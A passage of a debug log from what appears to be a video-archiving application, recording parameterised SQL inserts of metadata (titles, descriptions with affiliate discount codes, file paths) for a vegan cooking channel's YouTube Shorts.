inquiries: janelle@steamyvegan.com", "Vegan ‘BACUN’ Zucchini Salad 🥓 🥒 (it’s fun to eat)", "2559b8f4-8f30-484a-b26d-89e69b11f307", 1, [], false, "8Af-M-luQN4", "https://www.youtube.com/shorts/8Af-M-luQN4", 29, "/downloads/downloads/alec/Steamy Vegan/2025-08-20 Vegan ‘BACUN’ Zucchini Salad 🥓 🥒 (it’s fun to eat)/Vegan ‘BACUN’ Zucchini Salad 🥓 🥒 (it’s fun to eat) [8Af-M-luQN4].NA", false, false, true, 1, ~U[2025-08-20 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This fun summer salad recipe uses up your zucchinis and is also a creative vegan recipe to make tofu bacon. In this video, I'll teach all about the vegan 'bacon' sauce that I've been using for years, an amazing salad dressing to use on any salad recipe, and how to get crispy vegan bacon from tofu. \n\nReally hope you enjoy these and don't forget to subscribe for more high protein plant-based recipes!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nPeach Salsa Salad ➡️ https://steamyvegan.com/peach-salsa-s...\nTofu Bacon & Zucchini Salad ➡️ https://steamyvegan.com/tofu-bacon-zu...\n\nPrevious tofu recipes to check out on the channel:\n1. 3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n2. Mapo Tofu: \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\n3. Tofu Tikka Masala: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n\n💚 SHOP MY FAVE PRODUCTS 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Vegan ‘BACUN’ Zucchini Salad 🥓 🥒 (it’s fun to eat)", 1, nil, false, "8Af-M-luQN4", "https://www.youtube.com/shorts/8Af-M-luQN4", "/downloads/downloads/alec/Steamy Vegan/2025-08-20 Vegan ‘BACUN’ Zucchini Salad 🥓 🥒 (it’s fun to eat)/Vegan ‘BACUN’ Zucchini Salad 🥓 🥒 (it’s fun to eat) [8Af-M-luQN4].NA", true, ~U[2025-08-20 00:00:00Z]] 20:31:09.003 [debug] QUERY OK source="sources" db=0.6ms idle=10.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.005 [debug] QUERY OK source="media_items" db=1.8ms idle=9.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-19 00:00:00Z], 1] 20:31:09.006 [debug] QUERY OK source="media_items" db=0.8ms idle=10.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This bean salad recipe is a fusion between a greek salad and a bean salad and it's perfect for your next meal prep. This salad recipe is vegan, gluten-free, and high-protein. Check out the full no oven meal prep video below for more recipes like this!\n\nFULL MEAL PREP BLOG ➡️ https://steamyvegan.com/no-cooking-hi...\n\n💚 PRODUCTS IN THIS EPISODE 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "A Greek Salad and a Bean Salad had a baby… and it’s delicious 🥗", "713c9601-1cd1-4f93-a8bc-5c20fc4a60fb", 1, [], false, "CBKedqhS5uQ", "https://www.youtube.com/shorts/CBKedqhS5uQ", 30, "/downloads/downloads/alec/Steamy Vegan/2025-08-19 A Greek Salad and a Bean Salad had a baby… and it’s delicious 🥗/A Greek Salad and a Bean Salad had a baby… and it’s delicious 🥗 [CBKedqhS5uQ].NA", false, false, true, 1, ~U[2025-08-19 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This bean salad recipe is a fusion between a greek salad and a bean salad and it's perfect for your next meal prep. This salad recipe is vegan, gluten-free, and high-protein. Check out the full no oven meal prep video below for more recipes like this!\n\nFULL MEAL PREP BLOG ➡️ https://steamyvegan.com/no-cooking-hi...\n\n💚 PRODUCTS IN THIS EPISODE 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "A Greek Salad and a Bean Salad had a baby… and it’s delicious 🥗", 1, nil, false, "CBKedqhS5uQ", "https://www.youtube.com/shorts/CBKedqhS5uQ", "/downloads/downloads/alec/Steamy Vegan/2025-08-19 A Greek Salad and a Bean Salad had a baby… and it’s delicious 🥗/A Greek Salad and a Bean Salad had a baby… and it’s delicious 🥗 [CBKedqhS5uQ].NA", true, ~U[2025-08-19 00:00:00Z]] 20:31:09.007 [debug] QUERY OK source="sources" db=0.7ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.009 [debug] QUERY OK source="media_items" db=1.5ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-18 00:00:00Z], 1] 20:31:09.010 [debug] QUERY OK source="media_items" db=0.9ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're making mango tofu, a high-protein, gluten-free, saucy and as always vegan recipe. This tofu recipe goes great on top of rice, or as a side dish. For the full recipe, check out the link below...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGochujang Tofu ➡️ https://steamyvegan.com/gochujang-tofu/\nMango Tofu ➡️ https://steamyvegan.com/mango-tofu/\n\n💚 PRODUCTS IN THIS EPISODE 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious tofu recipes to check out on the channel:\n1. 3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n2. Mapo Tofu: \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\n3. Tofu Tikka Masala: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Have you tried MANGO tofu? 🥭", "d2334247-76b0-4207-921f-288c31d00383", 1, [], false, "wXa51aGJlSw", "https://www.youtube.com/shorts/wXa51aGJlSw", 31, "/downloads/downloads/alec/Steamy Vegan/2025-08-18 Have you tried MANGO tofu? 🥭/Have you tried MANGO tofu? 🥭 [wXa51aGJlSw].NA", false, false, true, 1, ~U[2025-08-18 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Today, we're making mango tofu, a high-protein, gluten-free, saucy and as always vegan recipe. This tofu recipe goes great on top of rice, or as a side dish. For the full recipe, check out the link below...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGochujang Tofu ➡️ https://steamyvegan.com/gochujang-tofu/\nMango Tofu ➡️ https://steamyvegan.com/mango-tofu/\n\n💚 PRODUCTS IN THIS EPISODE 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious tofu recipes to check out on the channel:\n1. 3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n2. Mapo Tofu: \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\n3. Tofu Tikka Masala: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Have you tried MANGO tofu? 🥭", 1, nil, false, "wXa51aGJlSw", "https://www.youtube.com/shorts/wXa51aGJlSw", "/downloads/downloads/alec/Steamy Vegan/2025-08-18 Have you tried MANGO tofu? 🥭/Have you tried MANGO tofu? 🥭 [wXa51aGJlSw].NA", true, ~U[2025-08-18 00:00:00Z]] 20:31:09.012 [debug] QUERY OK source="sources" db=1.4ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.016 [debug] QUERY OK source="media_items" db=1.9ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-16 00:00:00Z], 1] 20:31:09.018 [debug] QUERY OK source="media_items" db=0.9ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These pb chocolate chip protein balls are the BEST high protein snack! There's nothing quite like a scoop of cookie dough when you're craving a healthy, sweet snack. \n\nI used PBFit which is the BEST powdered peanut butter! \u202A@PBfit.\u202C \n\nGet the recipe in my 'no cooking' meal prep blog on my website ➡️ https://steamyvegan.com/no-cooking-hi...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "The PB Chocolate Chip PROTEIN Balls that *might* change your life #highproteinsnack", "22b33f4e-5157-40c4-bb2d-0fbe30f2b56e", 1, [], false, "tdOizUnwqvU", "https://www.youtube.com/shorts/tdOizUnwqvU", 32, "/downloads/downloads/alec/Steamy Vegan/2025-08-16 The PB Chocolate Chip PROTEIN Balls that *might* change your life #highproteinsnack/The PB Chocolate Chip PROTEIN Balls that *might* change your life #highproteinsnack [tdOizUnwqvU].NA", false, false, true, 1, ~U[2025-08-16 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These pb chocolate chip protein balls are the BEST high protein snack! There's nothing quite like a scoop of cookie dough when you're craving a healthy, sweet snack. \n\nI used PBFit which is the BEST powdered peanut butter! \u202A@PBfit.\u202C \n\nGet the recipe in my 'no cooking' meal prep blog on my website ➡️ https://steamyvegan.com/no-cooking-hi...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "The PB Chocolate Chip PROTEIN Balls that *might* change your life #highproteinsnack", 1, nil, false, "tdOizUnwqvU", "https://www.youtube.com/shorts/tdOizUnwqvU", "/downloads/downloads/alec/Steamy Vegan/2025-08-16 The PB Chocolate Chip PROTEIN Balls that *might* change your life #highproteinsnack/The PB Chocolate Chip PROTEIN Balls that *might* change your life #highproteinsnack [tdOizUnwqvU].NA", true, ~U[2025-08-16 00:00:00Z]] 20:31:09.019 [debug] QUERY OK source="sources" db=1.0ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.021 [debug] QUERY OK source="media_items" db=2.0ms idle=9.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-15 00:00:00Z], 1] 20:31:09.023 [debug] QUERY OK source="media_items" db=1.1ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This tofu recipe is vegan, gluten-free, and perfect to add to your next meal plan. Gochujang tofu is spicy and saucy and goes great on top of rice and with veggies to make the perfect vegan meal. \n\nGochujang Tofu Full Recipe ➡️ https://steamyvegan.com/gochujang-tofu/\n\n💚 PRODUCTS IN THIS EPISODE 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious tofu recipes to check out on the channel:\n1. 3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n2. Mapo Tofu: \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\n3. Tofu Tikka Masala: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Gochujang Tofu Recipe 🌶️🤤", "d886e64b-bf9e-41c6-b0b2-2e47c7b82d10", 1, [], false, "HTg6e0sQ11o", "https://www.youtube.com/shorts/HTg6e0sQ11o", 33, "/downloads/downloads/alec/Steamy Vegan/2025-08-15 Gochujang Tofu Recipe 🌶️🤤/Gochujang Tofu Recipe 🌶️🤤 [HTg6e0sQ11o].NA", false, false, true, 1, ~U[2025-08-15 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This tofu recipe is vegan, gluten-free, and perfect to add to your next meal plan. Gochujang tofu is spicy and saucy and goes great on top of rice and with veggies to make the perfect vegan meal. \n\nGochujang Tofu Full Recipe ➡️ https://steamyvegan.com/gochujang-tofu/\n\n💚 PRODUCTS IN THIS EPISODE 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Fave Vegan Multivitamin & Creatine by Complement: \n15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 My Fave Protein Powders\nVedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://go.sproutliving.com/steamyveg...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nPrevious tofu recipes to check out on the channel:\n1. 3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n2. Mapo Tofu: \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\n3. Tofu Tikka Masala: \u00A0\u00A0\u00A0•\u00A03\u00A0Easy\u00A0Healthy\u00A0Vegan\u00A0Recipes\u00A0Under\u00A020\u00A0Minu...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Gochujang Tofu Recipe 🌶️🤤", 1, nil, false, "HTg6e0sQ11o", "https://www.youtube.com/shorts/HTg6e0sQ11o", "/downloads/downloads/alec/Steamy Vegan/2025-08-15 Gochujang Tofu Recipe 🌶️🤤/Gochujang Tofu Recipe 🌶️🤤 [HTg6e0sQ11o].NA", true, ~U[2025-08-15 00:00:00Z]] 20:31:09.024 [debug] QUERY OK source="sources" db=0.8ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.028 [debug] QUERY OK source="media_items" db=2.2ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-01 00:00:00Z], 1] 20:31:09.030 [debug] QUERY OK source="media_items" db=1.6ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The most in-depth review of the top plant-based protein powder brands on YouTube! We went really in-depth with this protein powder review by trying 40 flavors from 10 super popular brands (let us know if you've tried these): Biosteel, Complement, Eat Just, Good Protein, Leanfit, Sprout Living, Sunwarrior, Vedge, Vega and Vivo Life protein powders. What are your thoughts on these plant-based powders and which ones are your favorites?\n\nDISCOUNT CODES\nWe reached out to every company to see if they could provide you guys with a discount code and most of them did! All of these are discounts on your 1st purchase with each of them.\n\n1. Sprout Living: 20% off\nCode: STEAMYVEGAN20\nLink: https://sproutliving.com/STEAMYVEGAN20\n\n2. Vedge Nutrition: 10% off\nCode: STEAMYVEGAN\nLink: https://www.vedgenutrition.com/?rfsn=...\n\n3. Good Protein: 30% off\nCode: JANELLEC30\nLink: https://goodprotein.ca/JANELLEC30\n\n4. Sunwarrior: 15% off\nCode: JANELLEC\nLink: https://sunwarrior.com/pages/ambassad...\n\n5. Vivo Life: 15% off\nCode: just use the below link, the discount should come up at checkout\nUS Customers: https://www.vivolife.com/steamy15\nUK Customers: https://www.vivolife.co.uk/STEAMYVEGAN\n\n6. Complement: 15% off\nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c...\n\n7. Leanfit: 25% off\nCode: STEAMYVEGAN\nLink: https://leanfit.ca/STEAMYVEGAN\n\n8. Biosteel: 20% OFF\nCode: STEAMYVEGAN\nLink: http://biosteel.ca/STEAMYVEGAN\n\n9. Eat Just: only available in grocery stores\nWebsite Link: https://www.ju.st/eat/just-one\n\n10. Vega: No discount code provided by company\n\n*Affiliate Disclosure* By making purchases through any of these affiliate codes we do receive a small commission at NO COST to you. Your support really helps our channel grow, so thank you! \n\nCheck out my blog for the full review: steamyvegan.com\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out a few of my latest recipes here:\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nNo Cooking Meal Prep: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep\u00A0🌱\u00A0NO\u00A0...\u00A0\u00A0\nHigh-Protein Costco Haul: \u00A0\u00A0\u00A0•\u00A0Costco\u00A0Grocery\u00A0Haul!\u00A0🛒\u00A0Vegan\u00A0and\u00A0Gluten\u00A0Fr...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "TOP 5 Plant-Based Protein Powders 💪🏋️", "2c06b514-af6d-42a5-b51d-7419b8e72a01", 1, [], false, "KcgJevduE98", "https://www.youtube.com/shorts/KcgJevduE98", 34, "/downloads/downloads/alec/Steamy Vegan/2025-08-01 TOP 5 Plant-Based Protein Powders 💪🏋️/TOP 5 Plant-Based Protein Powders 💪🏋️ [KcgJevduE98].NA", false, false, true, 1, ~U[2025-08-01 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "The most in-depth review of the top plant-based protein powder brands on YouTube! We went really in-depth with this protein powder review by trying 40 flavors from 10 super popular brands (let us know if you've tried these): Biosteel, Complement, Eat Just, Good Protein, Leanfit, Sprout Living, Sunwarrior, Vedge, Vega and Vivo 